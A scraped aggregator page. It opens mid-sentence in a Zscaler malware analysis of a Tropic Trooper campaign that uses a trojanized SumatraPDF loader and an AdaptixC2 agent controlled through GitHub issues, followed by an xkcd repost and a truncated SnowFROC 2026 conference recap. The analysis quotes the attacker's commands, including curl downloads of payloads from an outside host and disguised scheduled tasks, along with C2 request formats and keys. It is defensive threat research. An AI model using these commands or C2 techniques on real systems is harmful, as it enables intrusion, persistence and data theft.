legitimate SumatraPDF executable. However, the signature of this binary is invalid because it has been trojanized with TOSHIS loader. Analysis shows the threat actor hijacks the executable’s control flow by redirecting the _security_init_cookie function to execute malicious code. Compared to earlier TOSHIS loader samples, where the entry point was modified to jump to the payload, this version uses a revised trojanization method that executes by overwriting _security_init_cookie instead.Figure 3: Comparison of the entry points in the trojanized and legitimate SumatraPDF versions.The InjectedCode function redirects to TOSHIS loader code. The function begins by constructing stack strings, which include the command-and-control (C2) IP address, the destination path for the lure file, DLL names, and a cryptographic key. Next, TOSHIS loader resolves various APIs using the Adler-32 hash algorithm. Subsequently, TOSHIS loader downloads the PDF decoy from 58.247.193[.]100 and opens it using ShellExecuteW. TOSHIS loader then retrieves a second-stage shellcode from the same IP address, decrypts it using AES-128 CBC with WinCrypt cryptographic functions, and executes the shellcode directly in-memory. This shellcode is an AdaptixC2 Beacon agent. This marks a departure from earlier TOSHIS versions, which delivered either a Cobalt Strike Beacon or a Merlin Mythic agentANALYST NOTE: The AES key is derived by using the Windows API function CryptDeriveKey with the MD5 hash of a hard-coded key seed “424986c3a4fddcb6”. The initialization vector (IV) is set to 0.An analysis of the InjectedCode function shows that it is largely identical to the TOSHIS loader described in TrendMicro’s TAOTH report. The only notable differences are modifications to the stack strings and the removal of the language ID check. Although this sample resolves the GetSystemDefaultLangID API, the API is never actually invoked. Clear similarities can be observed between the injected code in these two samples, such as the use of the same User-Agent and a similar .dat file extension, as shown in the code examples below.Figure 4: Code comparison of the TOSHIS loader in the backdoored SumatraPDF sample and the TOSHIS loader described in the TAOTH report.Stage 2 – Backdoor: AdaptixC2 Beacon agent integrated with GitHubThe second-stage backdoor employed in this attack is the open-source AdaptixC2 Beacon agent, which incorporates a customized Beacon Listener. The table below shows the extracted configuration:OffsetFieldValueConfig Meta0x00Extra field0x6a (106)0x04Profile size156 bytes (encrypted)Decrypted Profile0x08Agent type (wmark)0xbe4c0149GitHub Transport Config0x0CRepo ownercvaS23uchsahs0x1ERepo namerss0x26API hostapi.github.com0x39Auth tokenghp_…0x66Issues API pathrepos/cvaS23uchsahs/rss/issues?state=openTiming Config0x94Kill datedisabled0x98Working timedisabled (always active)0x9CSleep delay60 seconds0xA0Jitter42RC4 Key0xA4RC4 key7adf76418856966effc9ccf8a21d1b12Table 2: Configuration extracted  from a Tropic Trooper AdaptixC2 Beacon agent.The RC4 key in the config above is used to decrypt the encrypted parts of the config, as well as beacon heartbeats. Because the agent is open-source, our focus will be on the custom beacon listener component, which utilizes GitHub as its C2 server. The figure below shows the layout of the GitHub repository used for C2.Figure 5: Layout of the Tropic Trooper GitHub repository used by an AdaptixC2 Beacon.The figure below shows the details of GitHub issues used for C2.Figure 6: Example of GitHub issues used by AdaptixC2.The agent starts by generating a 16-bytes RC4 session key using RtlRandomEx(GetTickCount()) to encrypt all subsequent C2 traffic, which is a standard practice for an AdaptixC2 agent. However, this custom listener differs from the typical AdaptixC2 HTTP/TCP listeners because the server cannot identify the agent’s external IP address since it is using GitHub. As a result, the agent retrieves its external IP address by sending a request to ipinfo.io. This external IP address is then included and sent back to the C2 with every beacon. The agent uses the following HTTP request to retrieve its external IP address from ipinfo.io.GET /ip HTTP/1.1</p><p>User-Agent: curl/8.5.0 // Hardcoded user agent<br> Host: ipinfo.io<br> Cache-Control: no-cacheThe agent then sends a beacon to the C2 by performing a POST request to GitHub Issue #1 to establish a session. The beacon follows the standard AdaptixC2 format, which contains the RC4 session key and a random 4-byte number used as an agent ID. These values are RC4 encrypted using the key in the agent’s config, Note that the agent ID is regenerated each time the agent is initialized. The agent uses this ID to identify and process commands specifically intended for it. The following figure shows the C2 workflow:Figure 7: Diagram showing the C2 workflow.After beaconing, the agent checks for tasks to be executed by making the following request:GET /repos/cvaS23uchsahs/rss/issues?state=open HTTP/1.1The API returns a JSON list of open issues, and the agent uses substring matching, rather than a full JSON parser, to extract the issue number, title, and body fields for each issue retrieved. Depending on the issue title, the agent uses varying logic to process the issue and extract the actual task, which is RC4 encrypted using the session key.The agent processes the issue as follows:If the title is “beat”: This is the heartbeat/beacon issue, and the agent skips it.If the title starts with “upload” and ends with “.txt”: The agent finds the last “_” character in the title, expecting an 8-character hexadecimal agent ID embedded between the “_” character and the “.txt” extension. If this extracted ID matches the agent’s own ID, the agent continues on to process this issue. If the extracted ID does not match, the agent skips the issue. However, there are some unusual edge-cases. For example, the agent will process an issue if there is no “_” character in the title, or if there are less than 7 characters in the extracted ID.If the agent decides to process the issue, it constructs the contents API URL. For example: /repos/{repo_owner}/{repo_name}/contents/upload/{agent_id}/{issue_title} or /repos/cvaS23uchsahs/rss/contents/upload/c64df0d5/upload_1773341382_c64df0d5.txt.The agent then retrieves the download URL from the response using substring matching again.The agent then downloads the file from the repository, decodes its Base64-encoded contents, and queues the task for processing.If the title starts with “fileupload”: The agent extracts and Base64 decodes the “body” field, and queues the task for processing. This encrypted task  contains the file path that the agent should exfiltrate. Note that there is no agent ID check here, so all agents will attempt to execute this task.If the title does not start with any of the 3 strings above: The agent decodes the Base64 title and queues it as a command for processing. Again, there is no agent ID check here, so all agents attempt to execute this task. The agent then proceeds to process all queued tasks. Each task in the queue is decrypted using the RC4 session key, and processed according to the standard AdaptixC2 agent procedure.After processing the task, the agent prepares a response payload. The response consists of two parts: the encrypted beacon packet sent previously (RC4 encrypted with the key from the agent’s config), and the AdaptixC2 agent data packet encrypted with the session key. The entire buffer is Base64-encoded, and the agent uploads the buffer as a file to GitHub. If the buffer is larger than 30MB, it is uploaded in chunks of 30MB, with each 30MB chunk having an incremental part number. An example of an upload request is shown below.PUT /repos/cvaS23uchsahs/rss/contents/download/fa302eb5/download_1773890673_part1.txt HTTP/1.1</p><p>// …</p><p>Body: {“message”:”upload”,”content”:”&lt;base64 blob&gt;”}Once the file is successfully uploaded, the agent adds a comment to the issue containing the command to which it is responding.The “|@@@|” string is used as a token to separate multiple file parts, as shown below.POST /repos/cvaS23uchsahs/rss/issues/2/comments HTTP/1.1</p><p>// …</p><p>Body: {“body”:”fa302eb5|@@@|download_1773890673_part1.txt”}Stage 3 – Operations and operational securityBy monitoring the C2 communication flow through the GitHub repository, ThreatLabz noticed that beacons are deleted very quickly, often within 10 seconds of being uploaded. This rapid deletion is likely intended to destroy the session keys, preventing observers from decrypting the C2 messages.During our observation of this campaign, ThreatLabz found that the threat actor primarily used the Adaptix agent as an initial foothold for reconnaissance and access. When a victim was deemed “interesting,” the threat actor deployed VS Code and utilized VS Code tunnels for remote access. On some machines, the threat actor installed alternative, trojanized applications, possibly to better camouflage their activities among the applications the victim normally uses.ThreatLabz observed the threat actor issuing the following commands:arp /acd C:\Users\Public\Documents &amp; code tunnel user login –provider github &gt; z.txtcode tunnel user login –provider github &gt; z.txtcurl -O http://bashupload[.]app/6e1lhccurl -kJL https://code.visualstudio.com/sha/download?build=stable&amp;os=cli-win32-x64 -o %localappdata%\microsoft\windows\Burn\v.zipcurl -s ‘ip.me?t=1&amp;m=2’curl http://bashupload[.]app/zgel2a.bin -o v.zip &amp; dircurl ip.me?t=1&amp;m=2net view \\192.168.220.2schtasks /create /tn \MSDNSvc /sc hourly /mo 2 /tr C:\users\public\documents\dsn.exe /f /RL HIGHESTschtasks /create /tn \MicrosoftUDN /sc hourly /mo 2 /f /tr C:\Users\Public\Documents\MicrosoftCompilers.exe C:\Users\Public\Documents\2.library-mstasklist | findstr /i notetasklist|findstr /i code.exe || code tunnel user login –provider github &gt; z2.txttimeout 3 &amp;&amp; schtasks /run /i /tn \MicrosoftUDNwmic process where processid=8528 get commandlineFurther monitoring of the staging server, 158.247.193[.]100, revealed that it also hosted the EntryShell backdoor, a custom backdoor known to be used by Tropic Trooper. This sample of EntryShell used the same AES-128 ECB key (afkngaikfaf) as previously reported. Additionally, the staging server was also found to host the Cobalt Strike Beacon, marked with the watermark “520”, another known indicator of Tropic Trooper activity. Threat AttributionThreatLabz attributes this attack to Tropic Trooper with high confidence based on the following factors:Use of TOSHIS: The loader used in this campaign matches the loader identified as TOSHIS in the TAOTH campaign.Trojanized binaries: The technique of using trojanized binaries (such as SumatraPDF) as part of the initial infection vector is consistent across both attacks. Specifically, a trojanized SunloginDesktopAgent.exe was observed in this campaign as part of a secondary infection.Publicly available backdoors: Similar to the TAOTH campaign, publicly available backdoors are used as payloads. While Cobalt Strike Beacon and Mythic Merlin were previously used, the threat actor has now shifted to AdaptixC2.Use of VSCode: In both campaigns, the threat actor deployed VS Code to establish a tunnel.Post-infection commands: The commands executed in this attack are similar to those reported in the TAOTH campaign, particularly the use of “z.txt” when creating a VS Code tunnel.Hosting of EntryShell backdoor: The EntryShell backdoor, a custom backdoor previously linked to Tropic Trooper, was also used.CobaltStrike Beacon: The Cobalt Strike beacon with the watermark “520” is a known signature of Tropic Trooper. Additionally, it utilized C2 URIs such as “/Originate/contacts/CX4YJ5JI7RZ,” which were also observed in earlier attacks attributed to Tropic Trooper. ConclusionThis campaign, attributed to Tropic Trooper, targeted Chinese-speaking individuals in Taiwan, and individuals in South Korea and Japan. ThreatLabz was able to make this attribution with high confidence based on the threat actor’s use of the TOSHIS loader and similar TTPs. For this campaign, the Tropic Trooper deployed an AdaptixC2 Beacon agent, which utilized a custom GitHub-based C2 listener to deploy VS Code tunnels for remote access. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to TOSHIS at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for TOSHIS.Figure 8: Zscaler Cloud Sandbox report for TOSHIS loader.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the targeted attacks mentioned in this blog at various levels with the following threat names:Win64.Trojan.TOSHISWin32.Backdoor.AdaptixC2Win32.Backdoor.EntryShellWin32.Backdoor.CobaltStrike Indicators Of Compromise (IOCs)File indicatorsHashesFilenameDescription3238d2f6b9ea9825eb61ae5e80e7365c2c65433696037f4ce0f8c9a1d78bdd6835c1b94da4f2131eb497afe5f78d8d6e534df2b8d75c5b9b565c3ec17a323afe5355da26 UnknownZIP archive containing lures and trojanized SumatraPDF67fcf5c21474d314aa0b27b0ce8befb219e3c4df728e3e657cb9496cd4aaf69648470b6347c7ce0e3816647b23bb180725c7233e505f61c35e7776d47fd448009e887857 资料/美英与美澳核潜艇合作的比较分析(2025).exeTrojanized SumatraPDF89daa54fada8798c5f4e21738c8ea0b4bd618c9e1e10891fe666839650fa406833d70afdaeec65bac035789073b567753284b64ce0b95bbae62cf79e1479714238af0eb74d.datEncrypted reflective loader shellcode and AdaptixC2 Beacon agente2dc48ef24da000b8fc1354fa31ca9ae6c68dc2e33780e07596c3c06aa819ea460b3d1257a95ce0b5f201d9880a6844a1db69aac7d1a0bf1c88f85989264caf6c82c6001N/ADecrypted AdaptixC2 Beacon agent DLL2d7cc3646c287d6355def362916c6d26adb47733c224fc8c0f7edc61becb578e560435ab3936f522f187f8f67dda3dc88abfd170f6ba873af81fc31bbf1fdbcad1b2a7fb1C.datEncrypted Cobalt Strike Beacon loader71fa755b6ba012e1713c9101c7329f8dc2051635ccfdc0b48c260e7ceeee3f96bf026fea6eaea92394e115cd6d5bab9ae1c6d088806229aae320e6c519c2d2210dbc94fe2C.datEncrypted Cobalt Strike Beacon loaderc620b4671a5715eec0e9f3b93e6532ba343be0f2077901ea5b5b9fb97d97892ac1a907e6b92a3a1cf5786b6e08643483387b77640cd44f84df1169dd00efde7af46b5714N/ADecrypted Cobalt Strike Beacon loader9a69b717ec4e8a35ae595aa6762d3c27401cc16d79d94c32da3f66df21d66ffd71603c143c29c72a59133dd9eb23953211129fd8275a11b91a3b8dddb3c6e502b6b63edbN/ADecrypted Cobalt Strike Beacon loaderNetwork indicatorsTypeIndicatorIP Address158.247.193[.]100URLhttps://api.github.com/repos/cvaS23uchsahs/rss/issuesURLhttps://47.76.236[.]58:4430/Originate/contacts/CX4YJ5JI7RZURLhttps://47.76.236[.]58:4430/Divide/developement/GIZWQVCLFURLhttps://stg.lsmartv[.]com:8443/Originate/contacts/CX4YJ5JI7RZURLhttps://stg.lsmartv[.]com:8443/Divide/developement/GIZWQVCLF  MITRE ATT&amp;CK FrameworkIDTactic, TechniqueDescriptionT1585.003Resource Development: Establish Accounts: Cloud AccountsThe threat actor created the GitHub account cvaS23uchsahs, which hosted the RSS registry used for C2 communication.T1587.001Resource Development: Develop Capabilities: MalwareThe threat actor developed a custom listener for the AdaptixC2 Beacon agent that utilized the GitHub API for C2 communication. In addition, the threat actor developed their own custom TOSHIS loader.T1588.001Resource Development: Obtain Capabilities: MalwareThe threat actor obtained and deployed the open-source AdaptixC2 Beacon agent as their backdoor.T1588.002Resource Development: Obtain Capabilities: ToolThe threat actor used VS Code’s tunnel feature for remote access to compromised systems.T1608.001Resource Development: Stage Capabilities: Upload MalwareThe threat actor hosted a second-stage shellcode payload on their server at 58.247.193[.]100 which the initial loader was designed to download and execute.T1608.002Resource Development: Stage Capabilities: Upload ToolThe threat actor uploaded VS Code to bashupload[.]app which was subsequently downloaded onto the victim machines.T1204.002Execution: User Execution: Malicious FileThe attack sequence requires a user to run the  malicious file titled “美英与美澳核潜艇合作的比较分析(2025).exe”.  T1106Execution: Native APIThe initial loader utilized WinCrypt cryptographic functions to decrypt a second-stage shellcode. Additionally, it employed the ShellExecuteW API to launch a decoy PDF document.T1059.003Execution: Command and Scripting Interpreter: Windows Command ShellThe threat actor utilized the Windows Command Shell to run several commands for reconnaissance purposes (e.g., arp, net view, tasklist) and to use cURL for downloading VS Code.T1053.005Persistence: Scheduled Task/Job: Scheduled TaskThe threat actor created a scheduled task using schtasks /create to execute the AdaptixC2 agent every two hours for persistence.T1036.001Defense Evasion: Masquerading: Invalid Code SignatureThe threat actor used a trojanized SumatraPDF executable that includes the original SumatraPDF signature, although the signature is no longer valid.T1036.004Defense Evasion: Masquerading: Masquerade Task or ServiceThe threat actor created scheduled tasks with names intended to blend in with legitimate system tasks such as \\MSDNSvc and \\MicrosoftUDN.T1620Defense Evasion: Reflective Code LoadingThe trojanized SumatraPDF loader downloaded a second-stage shellcode from the C2 IP 58.247.193[.]100 which reflectively loads the AdaptixC2 Beacon agent.T1027.007Defense Evasion: Obfuscated Files or Information: Dynamic API ResolutionThe initial loader identified Windows APIs by comparing Adler-32 hashes of their names.T1027.013Defense Evasion: Obfuscated Files or Information: Encrypted/Encoded FileThe initial loader downloaded a second-stage payload and decrypted the shellcode in-memory using AES-128.T1127Defense Evasion: Trusted Developer Utilities Proxy ExecutionThe threat actor downloaded Roslyn, an open-source .NET compiler, to compile and execute malicious code.T1016Discovery: System Network Configuration DiscoveryThe threat actor ran the command arp /a to retrieve the local ARP table. The threat actor sent requests to ipinfo.io to identify the external IP address of compromised machines.T1005Collection: Data from Local SystemThe threat actor used AdaptixC2 Beacon agent’s fileupload feature to exfiltrate files from infected machines.T1071.001Command and Control: Application Layer Protocol: Web ProtocolsThe TOSHIS loader downloaded a decoy PDF and a second-stage shellcode payload over HTTP from the IP address 58.247.193[.]100.The AdaptixC2 Beacon agent used HTTP/S to communicate with its GitHub C2.T1102.002Command and Control: Web Service: Bidirectional CommunicationThe threat actor used GitHub for bidirectional C2 communication.T1219.001Command and Control: Remote Access Tools: IDE TunnelingThe threat actor deployed VS Code and used its remote tunneling feature for interactive access.T1105Command and Control: Ingress Tool TransferThe threat actor utilized the cURL command to retrieve tools from external servers onto the compromised system. These included a VS Code binary from https://code.visualstudio.com and additional payloads from http://bashupload[.]app.T1132.001Command and Control: Data Encoding: Standard EncodingThe threat actor used Base64 and RC4 to obscure C2 communications.T1573.001Command and Control: Encrypted Channel: Symmetric CryptographyThe AdaptixC2 beacon agent encrypted its C2 traffic using an RC4 session key.T1573.002Command and Control: Encrypted Channel: Asymmetric CryptographyThe threat actor used the GitHub API for C2, which communicates over HTTPS.T1001.003Exfiltration: Exfiltration Over Web Service: Exfiltration to Code RepositoryThe threat actor used the GitHub API to exfiltrate files to a threat actor-controlled code repository.T1041Exfiltration: Exfiltration Over C2 ChannelThe threat actor exfiltrated data over the same channel used for C2 communication.  </p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/tropic-trooper-pivots-to-adaptixc2-and-custom-beacon-listener/" data-a2a-title="Tropic Trooper Pivots to AdaptixC2 and Custom Beacon Listener"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftropic-trooper-pivots-to-adaptixc2-and-custom-beacon-listener%2F&amp;linkname=Tropic%20Trooper%20Pivots%20to%20AdaptixC2%20and%20Custom%20Beacon%20Listener" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftropic-trooper-pivots-to-adaptixc2-and-custom-beacon-listener%2F&amp;linkname=Tropic%20Trooper%20Pivots%20to%20AdaptixC2%20and%20Custom%20Beacon%20Listener" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftropic-trooper-pivots-to-adaptixc2-and-custom-beacon-listener%2F&amp;linkname=Tropic%20Trooper%20Pivots%20to%20AdaptixC2%20and%20Custom%20Beacon%20Listener" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftropic-trooper-pivots-to-adaptixc2-and-custom-beacon-listener%2F&amp;linkname=Tropic%20Trooper%20Pivots%20to%20AdaptixC2%20and%20Custom%20Beacon%20Listener" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Ftropic-trooper-pivots-to-adaptixc2-and-custom-beacon-listener%2F&amp;linkname=Tropic%20Trooper%20Pivots%20to%20AdaptixC2%20and%20Custom%20Beacon%20Listener" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.zscaler.com/blogs/feeds/security-research">Security Research | Blog</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Yin Hong Chang (Zscaler)">Yin Hong Chang (Zscaler)</a>. Read the original post at: <a href="https://www.zscaler.com/blogs/security-research/tropic-trooper-pivots-adaptixc2-and-custom-beacon-listener">https://www.zscaler.com/blogs/security-research/tropic-trooper-pivots-adaptixc2-and-custom-beacon-listener</a> </p>

<p>The post <a href="https://xkcd.com/3219/">Randall Munroe’s XKCD 'Planets and Bright Stars'</a> appeared first on <a href="https://www.infosecurity.us/">Infosecurity.US</a>.</p><figure class=" sqs-block-image-figure intrinsic "> <p> <a class=" sqs-block-image-link " href="https://randall%20munroe%E2%80%99s%20xkcd%20'planets%20and%20bright%20stars'/"></a></p> <p> <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png" data-image-dimensions="374x265" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=1000w" width="374" height="265" sizes="auto, (max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5355d604e4b03c3e9896e131/b8b8c37c-ab4d-4455-a4a0-bba738653f5a/planets_and_bright_stars.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs"></p> <p> <figcaption class="image-caption-wrapper"> <p data-rte-preserve-empty="true"><strong>via the comic artistry and dry wit of Randall Munroe, creator of XKCD</strong></p> </figcaption></p></figure><p><a href="https://www.infosecurity.us/blog/2026/4/22/randall-munroes-xkcd-planets-and-bright-stars-1">Permalink</a></p><p> </p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/randall-munroes-xkcd-planets-and-bright-stars-2/" data-a2a-title="Randall Munroe’s XKCD ‘Planets and Bright Stars’"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Frandall-munroes-xkcd-planets-and-bright-stars-2%2F&amp;linkname=Randall%20Munroe%E2%80%99s%20XKCD%20%E2%80%98Planets%20and%20Bright%20Stars%E2%80%99" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Frandall-munroes-xkcd-planets-and-bright-stars-2%2F&amp;linkname=Randall%20Munroe%E2%80%99s%20XKCD%20%E2%80%98Planets%20and%20Bright%20Stars%E2%80%99" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Frandall-munroes-xkcd-planets-and-bright-stars-2%2F&amp;linkname=Randall%20Munroe%E2%80%99s%20XKCD%20%E2%80%98Planets%20and%20Bright%20Stars%E2%80%99" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Frandall-munroes-xkcd-planets-and-bright-stars-2%2F&amp;linkname=Randall%20Munroe%E2%80%99s%20XKCD%20%E2%80%98Planets%20and%20Bright%20Stars%E2%80%99" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Frandall-munroes-xkcd-planets-and-bright-stars-2%2F&amp;linkname=Randall%20Munroe%E2%80%99s%20XKCD%20%E2%80%98Planets%20and%20Bright%20Stars%E2%80%99" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.infosecurity.us/">Infosecurity.US</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Marc Handelman">Marc Handelman</a>. Read the original post at: <a href="https://xkcd.com/3219/">https://xkcd.com/3219/</a> </p>

<p>The post <a href="https://blog.gitguardian.com/snowfroc-2026/">SnowFROC 2026: Secure Defaults, Real Trust, and a Better Layer on Top</a> appeared first on <a href="https://blog.gitguardian.com/">GitGuardian Blog – Take Control of Your Secrets Security</a>.</p><p><img decoding="async" src="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/SnowFROCimage.png" alt="SnowFROC 2026: Secure Defaults, Real Trust, and a Better Layer on Top"></p><p>Denver likes a good origin story. The city still keeps a marker for <a href="https://visitdenver.com/blog/post/cheeseburger-birthplace/?ref=blog.gitguardian.com"><u>Louis Ballast and the Humpty Dumpty Barrel, the local spot tied to the cheeseburger’s Colorado claim</u></a>. That detail felt oddly right for <a href="https://snowfroc.com/?ref=blog.gitguardian.com"><u>SnowFROC 2026</u></a>. A cheeseburger is a small upgrade that changes the whole meal. This year’s conference kept returning to the same ideas in AppSec, such as how meaningful security progress often comes from well-placed layers that make the better choice easier to make. </p><p>The Snow in "SnowFROC" is due to the time of year the event takes place and the good possibility that it will snow, <a href="https://bsky.app/profile/mdwayne-real.bsky.social/post/3mjplq47s4m2x?ref=blog.gitguardian.com"><u>which it did this year</u></a>.  The other half of the name stands for Front Range OWASP Conference. This year, they expanded it into a two-day event in Denver that drew about 400 attendees to see 35 sessions, take part in 8 half-day training sessions, a CTF, and multiple village activities. The room carried that blend of practical curiosity and sharp hallway conversation that makes any security conference worth the trip. </p><p>Throughout the event, the sessions covered how software is actually built now: fast, AI-assisted, dependency-heavy, and spread across more people and systems than any one security team can fully monitor alone. The strongest sessions focused on incentives, workflows, trust boundaries, and the places where attackers keep finding leverage because defenders still leave too much to intent, memory, and good luck.</p><p>Here are just a few notes from SnorFROC 2026.</p><h2 id="the-human-layer-in-secure-defaults"><strong>The Human Layer in Secure Defaults</strong></h2><p>In the keynote from<a href="https://ca.linkedin.com/in/tanya-janca?ref=blog.gitguardian.com"><u> Tanya Janca, founder of She Hacks Purple Consulting</u></a>, called "Threat Modeling Developer Behavior: The Psychology of Bad Code," she explained that in AppSec, insecure code is rarely just a technical failure. It is usually a human one. Developers work under pressure, chase deadlines, respond to incentives, and fall back on habits, biases, and shortcuts that feel reasonable in the moment. Instead of telling people they are wrong and expecting better outcomes, AppSec teams need to understand why those choices happen in the first place. Psychology helps explain the gap between what teams say they value and what their systems actually reward.</p><p>Tanya talked about intervention and prevention over blame. Secure defaults beat secure intent because they remove friction and make the safer path the easier one. That can look like pre-commit hooks, IDE nudges, secure-by-default templates, and frequent reminders placed where decisions actually happen, not buried in a wiki. The same logic applies to training. Annual compliance sessions and lists of what not to do do not change behavior very well. Teaching secure patterns, explaining the why behind them, and reinforcing them in small daily ways is far more likely to stick. The goal is not more nagging. It is better environmental design.</p><p>Tayna shared her experiences about AI-assisted coding triggering automation bias, where people trust confident suggestions too quickly. Tight deadlines push present bias, making future breach risk feel abstract next to immediate shipping pressure. Copying code from forums, skipping tests, ignoring warnings, avoiding documentation, or showing off with clever code all follow similar patterns. </p><p>She asked us all to build systems that reward maintainable, tested, secure work and measure what actually matters, including time to fix, adoption of secure patterns, and real vulnerability reduction. If teams want secure coding to be real, they have to make it the path of least resistance.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img decoding="async" src="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-9b8dc1df-9ed9-4d7b-8e9d-fa969e3d8d20.png" class="kg-image" alt="SnowFROC 2026: Secure Defaults, Real Trust, and a Better Layer on Top" loading="lazy" width="1000" height="753" srcset="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/size/w600/2026/04/data-src-image-9b8dc1df-9ed9-4d7b-8e9d-fa969e3d8d20.png 600w, https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-9b8dc1df-9ed9-4d7b-8e9d-fa969e3d8d20.png 1000w" sizes="auto, (min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Tanya Janca</span></figcaption></figure><h2 id="trust-has-become-a-supply-chain-primitive"><strong>Trust Has Become a Supply Chain Primitive</strong></h2><p><a href="https://www.linkedin.com/in/chris-lindsey-39b3915?ref=blog.gitguardian.com"><u>Chris Lindsey, Field CTO at OX Security</u></a>, started his talk "Inside the Modern Threat Landscape: Attacker Wins, Defender Moves, and Your Priorities," with a reminder that choosing not to act is still a choice. In today’s threat landscape, a small set of attack vectors keeps showing up in outsized breaches, including credential theft, session hijacking, phishing, typosquatting, browser extensions, DNS poisoning, and software that appears to come from trusted sources. The common thread is trust. Attackers do not usually break in by brute force alone, instead they build credibility first through a convincing email or a familiar package name, or a browser extension that looks legitimate on the surface. </p><p>Chris asked us to think in terms of what security leaders are asked by boards all the time and often struggle to answer: what did we actually get for this investment? What we need more disciplined framework for evaluating security spending based on risk reduction per dollar. That means asking better questions up front: what threat does this control address, what does it really cost once licensing, implementation, staffing, and maintenance are included, and what measurable reduction in exposure does it create? This is how you get to structured decision-making. When security teams can explain why one control was prioritized over another in terms that leadership understands, the conversation changes from vague reassurance to defensible tradeoffs.</p><p>If software and packages are still being pulled in freely, if extensions get broad permissions without scrutiny, and if reviews stop at surface-level validation, the pipeline stays open to abuse. Chris walked through examples that looked benign at first glance but revealed patterns of Trojan behavior, suspicious permissions, deceptive imports, callback infrastructure, and signs of rushed or obfuscated code. Prioritization is key. </p><p>He gave us the practical advice of what we could immediately implement: Scan software before use, review open source with stronger technical oversight, pin safe packages, and introduce cooldown periods. We must adopt a posture in which we rotate keys aggressively, sever malicious command-and-control connections urgently, and embrace AI to scale analysis where it adds real value. Attackers are operating in the real world and have no intention of reading your threat model. Your defenses need to be just as practical and reality-based.</p><figure class="kg-card kg-image-card 